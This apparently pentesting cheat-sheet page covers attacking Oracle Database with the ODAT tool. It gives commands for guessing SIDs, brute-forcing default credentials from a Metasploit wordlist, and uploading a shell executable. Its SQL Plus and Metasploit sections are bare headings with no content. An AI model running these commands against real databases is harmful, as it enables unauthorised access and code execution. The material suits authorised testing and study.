Oracle

Oracle Database is a multi-model database management system produced and marketed by Oracle Corporation. It is a database commonly used for running online transaction processing, data warehousing and mixed database workloads.

-- Wikipedia

General

sysdba is like sudo

ODAT

Oracle Database Attacking Tool GitHub - quentinhardy/odat: ODAT

Guess sid (Oracle System ID)

odat.py sidguesser -s <ip> -p <port>

Guess password (using sid)

/usr/share/metasploit-framework/data/wordlists/oracle_default_userpass.txt

-> Replace by /

odat.py passwordguesser -d <sid> --accounts-file <file> -s <ip>

Download/upload/delete files

./odat.py utlfile -s <ip> --sysdba -d XE -U <user> -P <password> --putFile /temp shell.exe ../shell.exe

Read files or execute system commands/scripts

SQL Plus

SQL Plus is the most basic Oracle Database utility, with a basic command-line interface, commonly used by users, administrators, and programmers.

-- Wikipedia

Metasploit

File operations

Read

Enable display of output

Execute it

Write

Execute it

Check privileges

Last updated